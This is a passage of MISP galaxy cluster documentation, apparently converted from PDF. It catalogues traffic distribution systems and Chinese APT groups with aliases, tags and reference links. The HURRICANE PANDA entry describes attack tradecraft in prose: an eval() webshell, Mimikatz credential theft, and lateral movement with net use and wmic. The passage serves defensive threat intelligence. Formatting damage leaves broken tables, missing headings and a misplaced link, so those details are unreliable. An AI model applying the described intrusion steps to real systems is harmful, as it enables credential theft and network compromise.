Sutra

Sutra TDS was dominant from 2012 till 2015.

The tag is: `misp-galaxy:tds="Sutra"`

Table 11091. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>


SimpleTDS

SimpleTDS is a basic open source TDS

The tag is: `misp-galaxy:tds="SimpleTDS"`

SimpleTDS is also known as:

- Stds

Table 11092. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://sourceforge.net/projects/simpletds/">https://sourceforge.net/projects/simpletds/</a></td>
</tr>
</tbody>
</table>

zTDS

zTDS is an open source TDS

The tag is: `misp-galaxy:tds="zTDS"`

Table 11093. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

BossTDS

BossTDS

The tag is: `misp-galaxy:tds="BossTDS"`

Table 11094. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

BlackHat TDS

BlackHat TDS is sold underground.

The tag is: `misp-galaxy:tds="BlackHat TDS"`

Table 11095. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Futuristic TDS

Futuristic TDS is the TDS component of BlackOS/CookieBomb/NorthTale Iframer

The tag is: `misp-galaxy:tds="Futuristic TDS"`

Orchid TDS

Orchid TDS was sold underground. Rare usage

The tag is: `misp-galaxy:tds="Orchid TDS"`

404 TDS

Proofpoint has tracked the 404 TDS since at least September 2022. Proofpoint is not aware if this is a service sold on underground forums, but it is likely a shared or sold tool due to its involvement in a variety of phishing and malware campaigns.

The tag is: `misp-galaxy:tds="404 TDS"`

Table 11096. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Tea Matrix

Tea Matrix.

Tea Matrix is a cluster galaxy available in JSON format at [this location](https://www.proofpoint.com/us/blog/threat-insight/screentime-sometimes-it-feels-like-somebodys-watching-me) The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

Alexandre Dulaunoy

Multi infusion

Multi infusion is allow and recommended

The tag is: `misp-galaxy:tea-matrix="Multi infusion"`
**Single infusion**

Single infusion is recommended

The tag is: `misp-galaxy:tea-matrix="Single infusion"`

**Water temp 90-95 degC**

Water temperature 90-95 degC

The tag is: `misp-galaxy:tea-matrix="Water temp 90-95 degC"`

**Water temp 80 degC**

Water temperature 80 degC

The tag is: `misp-galaxy:tea-matrix="Water temp 80 degC"`

**Brewing time 2-3 min**

Brewing time 2-3 minutes

The tag is: `misp-galaxy:tea-matrix="Brewing time 2-3 min"`

**Brewing time 3-4 min**

Brewing time 3-4 minutes

The tag is: `misp-galaxy:tea-matrix="Brewing time 3-4 min"`

**Milk in tea**

Milk in tea

The tag is: `misp-galaxy:tea-matrix="Milk in tea"`

**Threat Actor**

Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign. threat-actor-classification meta can be used to clarify the understanding of the threat-actor if also considered as operation, campaign or activity group.

Threat Actor is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled in MISP.
**APT1**

PLA Unit 61398 (Chinese: 61398部队, Pinyin: 61398 bùduì) is the Military Unit Cover Designator (MUCD)[1] of a People’s Liberation Army advanced persistent threat unit that has been alleged to be a source of Chinese computer hacking attacks.

The tag is: *misp-galaxy:threat-actor="APT1"*

APT1 is also known as:

- COMMENT PANDA
- PLA Unit 61398
- Comment Crew
- Byzantine Candor
- Group 3
- TG-8223
- Comment Group
- Brown Fox
- GIF89a
- ShadyRAT
- G0006

**View relationships graph**

APT1 has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set="APT1 - G0006"* with estimative-language:likelihood-probability="likely"

**Table 11097. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/PLA_Unit_61398">https://en.wikipedia.org/wiki/PLA_Unit_61398</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/pla-unit-61398">https://www.cfr.org/interactive/cyber-operations/pla-unit-61398</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html">https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html</a></td>
</tr>
</tbody>
</table>
Nitro

These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014.

The tag is: `misp-galaxy:threat-actor="Nitro"`

Nitro is also known as:

- Covert Grove

Table 11098. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/new-indicators-compromise-apt-group-nitro-uncovered/">https://unit42.paloaltonetworks.com/new-indicators-compromise-apt-group-nitro-uncovered/</a></td>
</tr>
</tbody>
</table>

Dust Storm

Threat actors behind the Operation Dust Storm have been active since at least 2010, the hackers targeted several organizations in Japan, South Korea, the US, Europe, and other Asian countries.

The tag is: `misp-galaxy:threat-actor="Dust Storm"`

Dust Storm is also known as:
• G0031

View relationships graph

Dust Storm has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="Dust Storm - G0031" with estimative-language:likelihood-probability="likely"

Table 11099. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0031/">https://attack.mitre.org/groups/G0031/</a></td>
</tr>
</tbody>
</table>

WET PANDA

The tag is: misp-galaxy:threat-actor="WET PANDA"

WET PANDA is also known as:

• Red Chimera

Table 11100. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf">http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf</a></td>
</tr>
</tbody>
</table>

FOXY PANDA

Adversary group targeting telecommunication and technology organizations.

The tag is: misp-galaxy:threat-actor="FOXY PANDA"

Table 11101. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

PREDATOR PANDA

The tag is: misp-galaxy:threat-actor="PREDATOR PANDA"

Table 11102. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
UNION PANDA

The tag is: misp-galaxy:threat-actor="UNION PANDA"

Table 11103. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

SPICY PANDA

The tag is: misp-galaxy:threat-actor="SPICY PANDA"

Table 11104. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf">http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf</a></td>
</tr>
</tbody>
</table>

ELOQUENT PANDA

The tag is: misp-galaxy:threat-actor="ELOQUENT PANDA"

Table 11105. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

DIZZY PANDA

The tag is: misp-galaxy:threat-actor="DIZZY PANDA"

DIZZY PANDA is also known as:

- LadyBoyle

Grayling

Grayling activity was first observed in early 2023, when a number of victims were identified with distinctive malicious DLL side-loading activity. Grayling appears to target organisations in Asia, however one unknown organisation in the United States was also targeted. Industries targeted include Biomedical, Government and Information Technology. Grayling use a variety of tools during their attacks, including well known tools such as Cobalt Strike and Havoc and also some others.

The tag is: misp-galaxy:threat-actor="Grayling"
APT2

Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since 2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'

The tag is: misp-galaxy:threat-actor="APT2"

APT2 is also known as:

• PLA Unit 61486
• PUTTER PANDA
• MSUpdater
• 4Hcrew
• SULPHUR
• SearchFire
• TG-6952
• G0024

View relationships graph

APT2 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="Putter Panda - G0024" with estimative-language:likelihood-probability="likely"
APT3

Symantec described UPS in 2016 report as: 'Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeye's focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.'

The tag is: misp-galaxy:threat-actor="APT3"

APT3 is also known as:

- GOTHIC PANDA
- TG-0110
- Group 6
- UPS
- Buckeye
- Boyusec
- BORON
- BRONZE MAYFAIR
- Red Sylvan

View relationships graph

APT3 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT3 - G0022" with estimative-language:likelihood-probability="likely"

Table 11108. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[<a href="https://www.fireeye.com/blog/threat-research/2015/06/operation-">https://www.fireeye.com/blog/threat-research/2015/06/operation-</a></td>
</tr>
<tr>
<td>clandestine-wolf-adobe-flash-zero-day.html](<a href="https://www.fireeye.com/">https://www.fireeye.com/</a></td>
</tr>
<tr>
<td>blog/threat-research/2015/06/operation-clandestine-wolf-adobe-fla</td>
</tr>
<tr>
<td>sh-zero-day.html)</td>
</tr>
<tr>
<td>connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong](</td>
</tr>
<tr>
<td>connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong)</td>
</tr>
<tr>
<td>[<a href="https://www.cfr.org/interactive/cyber-operations/apt-3">https://www.cfr.org/interactive/cyber-operations/apt-3</a>](<a href="https://www">https://www</a>.</td>
</tr>
<tr>
<td>cfr.org/interactive/cyber-operations/apt-3)</td>
</tr>
<tr>
<td>[<a href="https://www.secureworks.com/research/threat-profiles/bronze-mayfair">https://www.secureworks.com/research/threat-profiles/bronze-mayfair</a>](</td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-mayfair">https://www.secureworks.com/research/threat-profiles/bronze-mayfair</a>)</td>
</tr>
<tr>
<td>[<a href="https://www.mandiant.com/resources/insights/apt-groups">https://www.mandiant.com/resources/insights/apt-groups</a>](<a href="https://www">https://www</a>.</td>
</tr>
<tr>
<td>mandiant.com/resources/insights/apt-groups)</td>
</tr>
<tr>
<td>[<a href="https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/pres">https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/pres</a></td>
</tr>
</tbody>
</table>
DarkHotel

Kaspersky described DarkHotel in a 2014 report as: '... DarkHotel drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crew's most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world.'

The tag is: misp-galaxy:threat-actor="DarkHotel"

DarkHotel is also known as:

- DUBNIUM
- Fallout Team
- Karba
- Luder
- Nemim
- Nemin
- Tapaoux
- Pioneer
- Shadow Crane
- APT-C-06
- SIG25
- TUNGSTEN BRIDGE
- T-APT-02
- G0012
- ATK52

View relationships graph

DarkHotel has relationships with:

- similar: misp-galaxy:microsoft-activity-group="DUBNIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Zigzag Hail" with estimative-language:likelihood-probability="likely"

Table 11109. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

6941
APT12

A group of China-based attackers, who conducted a number of spear phishing attacks in 2013.

The tag is: *misp-galaxy:threat-actor*="APT12"

APT12 is also known as:

- NUMBERED PANDA
- TG-2754
- BeeBus
- Group 22
- DynCalc
- Calc Team
- DNSCalc
- Crimson Iron
- IXESHE
- BRONZE GLOBE

View relationships graph

APT12 has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set*="APT12 - G0005" with estimative-language:likelihood-probability="likely"

*Table 11110. Table References*
APT16

Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER.

The tag is: *misp-galaxy:threat-actor=*APT16*

APT16 is also known as:

- SVCMONDR
- G0023

*Table 11111. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html">https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/apt-16">https://www.cfr.org/interactive/cyber-operations/apt-16</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0023">https://attack.mitre.org/groups/G0023</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/insights/apt-groups">https://www.mandiant.com/resources/insights/apt-groups</a></td>
</tr>
</tbody>
</table>

APT17

FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'

The tag is: *misp-galaxy:threat-actor=*APT17*

APT17 is also known as:

- Group 8
• AURORA PANDA
• Hidden Lynx
• Tailgater Team
• Dogfish
• BRONZE KEYSTONE
• G0025
• Group 72
• G0001
• Axiom
• HELIUM

View relationships graph

APT17 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"

Table 11112. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/apt-17">https://www.cfr.org/interactive/cyber-operations/apt-17</a></td>
</tr>
<tr>
<td><a href="https://www.carbonblack.com/2013/02/08/bit9-and-our-customers-security/">https://www.carbonblack.com/2013/02/08/bit9-and-our-customers-security/</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/hidden-lynx-analysis/">https://www.recordedfuture.com/hidden-lynx-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-keystone">https://www.secureworks.com/research/threat-profiles/bronze-keystone</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0025/">https://attack.mitre.org/groups/G0025/</a></td>
</tr>
<tr>
<td><a href="https://cfr.org/cyber-operations/axiom">https://cfr.org/cyber-operations/axiom</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0001/">https://attack.mitre.org/groups/G0001/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=NFJqD-LcpIg">https://www.youtube.com/watch?v=NFJqD-LcpIg</a></td>
</tr>
</tbody>
</table>
APT18

Wekby was described by Palo Alto Networks in a 2015 report as: 'Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero-day exploit.'

The tag is: misp-galaxy:threat-actor="APT18"

APT18 is also known as:

• DYNAMITE PANDA
• TG-0416
• SCANDIUM
• PLA Navy
• Wekby
• G0026

View relationships graph

APT18 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="SAMURAI PANDA" with estimative-language:likelihood-probability="likely"

Table 11113. Table References

Links

https://www.cfr.org/interactive/cyber-operations/apt-18
https://attack.mitre.org/groups/G0026
https://www.mandiant.com/resources/insights/apt-groups

APT19

Adversary group targeting financial, technology, non-profit organisations.

The tag is: misp-galaxy:threat-actor="APT19"
APT19 is also known as:

- DEEP PANDA
- Codoso
- WebMasters
- KungFu Kittens
- Black Vine
- TEMP.Avengers
- Group 13
- PinkPanther
- Shell Crew
- BRONZE FIRESTONE
- G0009
- G0073
- Pupa
- Sunshop Group

View relationships graph

APT19 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Deep Panda - G0009" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT19 - G0073" with estimative-language:likelihood-probability="likely"

Table 11114. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/deep-panda">https://www.cfr.org/interactive/cyber-operations/deep-panda</a></td>
</tr>
<tr>
<td><a href="https://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/">https://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/</a></td>
</tr>
<tr>
<td><a href="https://eromang.zataz.com/2013/01/02/capstone-turbine-corporation-also-targeted-in-the-cfr-watering-hole-attack-and-more/">https://eromang.zataz.com/2013/01/02/capstone-turbine-corporation-also-targeted-in-the-cfr-watering-hole-attack-and-more/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/department-labor-strategic-web-compromise/">https://www.crowdstrike.com/blog/department-labor-strategic-web-compromise/</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2015/06/catching-up-on-the-opm-breach/">https://krebsonsecurity.com/2015/06/catching-up-on-the-opm-breach/</a></td>
</tr>
</tbody>
</table>
Naikon

Kaspersky described Naikon in a 2015 report as: 'The Naikon group is mostly active in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way.'

The tag is: misp-galaxy:threat-actor="Naikon"

Naikon is also known as:
Naikon has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"

Table 11115. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/analysis/publications/69953/the-naikon-apt/">https://securelist.com/analysis/publications/69953/the-naikon-apt/</a></td>
</tr>
<tr>
<td><a href="https://usa.kaspersky.com/resource-center/threats/naikon-targeted-attacks">https://usa.kaspersky.com/resource-center/threats/naikon-targeted-attacks</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/tag/naikon/">https://threatconnect.com/blog/tag/naikon/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0019/">https://attack.mitre.org/groups/G0019/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-geneva">https://www.secureworks.com/research/threat-profiles/bronze-geneva</a></td>
</tr>
<tr>
<td><a href="https://cluster25.io/2022/04/29/lotus-panda-awake-last-strike/">https://cluster25.io/2022/04/29/lotus-panda-awake-last-strike/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/insights/apt-groups">https://www.mandiant.com/resources/insights/apt-groups</a></td>
</tr>
</tbody>
</table>

**APT30**

APT30 is a threat group suspected to be associated with the Chinese government. While Naikon
shares some characteristics with APT30, the two groups do not appear to be exact matches

The tag is: misp-galaxy:threat-actor="APT30"

APT30 is also known as:

- G0013

View relationships graph

APT30 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Raspberry Typhoon" with estimative-language:likelihood-probability="likely"

Table 11116. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Group/G0013">https://attack.mitre.org/wiki/Group/G0013</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/insights/apt-groups">https://www.mandiant.com/resources/insights/apt-groups</a></td>
</tr>
</tbody>
</table>

LOTUS PANDA

Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia.

The tag is: misp-galaxy:threat-actor="LOTUS PANDA"

LOTUS PANDA is also known as:

- Spring Dragon
- ST Group
- DRAGONFISH
- BRONZE ELGIN
- ATK1
- G0030
- Red Salamander
- Lotus BLossom

View relationships graph

LOTUS PANDA has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Lotus Blossom - G0030" with estimative-language:likelihood-probability="likely"
HURRICANE PANDA

We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone. HURRICANE PANDA's preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence. Once inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.

The tag is: misp-galaxy:threat-actor="HURRICANE PANDA"
APT27

A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.

The tag is: misp-galaxy:threat-actor="APT27"

APT27 is also known as:

- GreedyTaotie
- TG-3390
- EMISSARY PANDA
- TEMP.Hippo
- Red Phoenix
- Budworm
- Group 35
- ZipToken
- Iron Tiger
- BRONZE UNION
- Lucky Mouse
- G0027
- Iron Taurus
- Earth Smilodon

View relationships graph

APT27 has relationships with:


Table 11119. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
menuPass is a threat group that has been active since at least 2006. Individual members of menuPass are known to have acted in association with the Chinese Ministry of State Security’s (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.

The tag is: misp-galaxy:threat-actor="APT10"

APT10 is also known as:
• STONE PANDAD
• Menupass Team
• happyyongzi
• POTASSIUM
• Red Apollo
• CVNX
• HOGFISH
• Cloud Hopper
• BRONZE RIVERSIDE
• ATK41
• G0045
• Granite Taurus

View relationships graph

APT10 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="menuPass - G0045" with estimative-language:likelihood-probability="likely"

Table 11120. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/">https://unit42.paloaltonetworks.com/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/apt-10">https://www.cfr.org/interactive/cyber-operations/apt-10</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html">https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/sites/default/files/publications/IR-ALERT-MED-17-093-01C-Intrusions_Affecting_Multiple_Victims_Across_Multiple_Sectors.pdf">https://www.us-cert.gov/sites/default/files/publications/IR-ALERT-MED-17-093-01C-Intrusions_Affecting_Multiple_Victims_Across_Multiple_Sectors.pdf</a></td>
</tr>
</tbody>
</table>
**Hellsing**

This threat actor uses spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the United States. It also seems to have targeted the APT 30. Possibly uses the same infrastructure as Mirage.

The tag is: `misp-galaxy:threat-actor="Hellsing"`

*Table 11121. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/hellsing">https://www.cfr.org/interactive/cyber-operations/hellsing</a></td>
</tr>
</tbody>
</table>

**Night Dragon**

The tag is: `misp-galaxy:threat-actor="Night Dragon"`

Night Dragon is also known as:

- G0014

*View relationships graph*

Night Dragon has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="Night Dragon - G0014"` with estimative-language:likelihood-probability="likely"

*Table 11122. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://kc.mcafee.com/corporate/index?page=content&amp;id=KB71150">https://kc.mcafee.com/corporate/index?page=content&amp;id=KB71150</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0014/">https://attack.mitre.org/groups/G0014/</a></td>
</tr>
</tbody>
</table>
APT15

This threat actor uses phishing techniques to compromise the networks of foreign ministries of European countries for espionage purposes.

The tag is: misp-galaxy:threat-actor="APT15"

APT15 is also known as:

• VIXEN PANDA
• Ke3Chang
• Playful Dragon
• Metushy
• Lurid
• Social Network Team
• Royal APT
• BRONZE PALACE
• BRONZE DAVENPORT
• BRONZE IDLEWOOD
• NICKEL
• G004
• Red Vulture

View relationships graph

APT15 has relationships with:

• similar: misp-galaxy:microsoft-activity-group="Nylon Typhoon" with estimative-language:likelihood-probability="likely"

Table 11123. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/nccgroup/Royal_APT">https://github.com/nccgroup/Royal_APT</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/mirage">https://www.cfr.org/interactive/cyber-operations/mirage</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/">https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/</a></td>
</tr>
</tbody>
</table>
APT14

PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. Not surprisingly, embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted.

The tag is: `misp-galaxy:threat-actor="APT14"`

APT14 is also known as:

- ANCHOR PANDA
- QAZTeam
- ALUMINUM

View relationships graph

APT14 has relationships with:

- uses: `misp-galaxy:rat="Gh0st RAT"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:tool="Gh0st Rat"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:rat="PoisonIvy"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:tool="Poison Ivy"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:tool="Torn RAT"` with estimative-language:likelihood-probability="likely"

Table 11124. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.crowdstrike.com/blog/whois-anchor-panda/">http://www.crowdstrike.com/blog/whois-anchor-panda/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/anchor-panda">https://www.cfr.org/interactive/cyber-operations/anchor-panda</a></td>
</tr>
</tbody>
</table>
APT21

The tag is: misp-galaxy:threat-actor="APT21"

APT21 is also known as:

- HAMMER PANDA
- TEMP.Zhenbao
- NetTraveler

Table 1125. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/">https://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/nettraveler">https://www.cfr.org/interactive/cyber-operations/nettraveler</a></td>
</tr>
<tr>
<td><a href="https://www.kaspersky.com/about/press-releases/2014_nettraveler-gets-a-makeover-for-10th-anniversary">https://www.kaspersky.com/about/press-releases/2014_nettraveler-gets-a-makeover-for-10th-anniversary</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/nettraveler-spear-phishing-email-targets-diplomat-of-uzbekistan/">https://unit42.paloaltonetworks.com/nettraveler-spear-phishing-email-targets-diplomat-of-uzbekistan/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/insights/apt-groups">https://www.mandiant.com/resources/insights/apt-groups</a></td>
</tr>
</tbody>
</table>

DAGGER PANDA

Operate since at least 2011, from several locations in China, with members in Korea and Japan as well. Possibly linked to Onion Dog. This threat actor targets government institutions, military contractors, maritime and shipbuilding groups, telecommunications operators, and others, primarily in Japan and South Korea.

The tag is: misp-galaxy:threat-actor="DAGGER PANDA"

DAGGER PANDA is also known as:

- IceFog
- Trident
- RedFoxtrot
- Red Wendigo
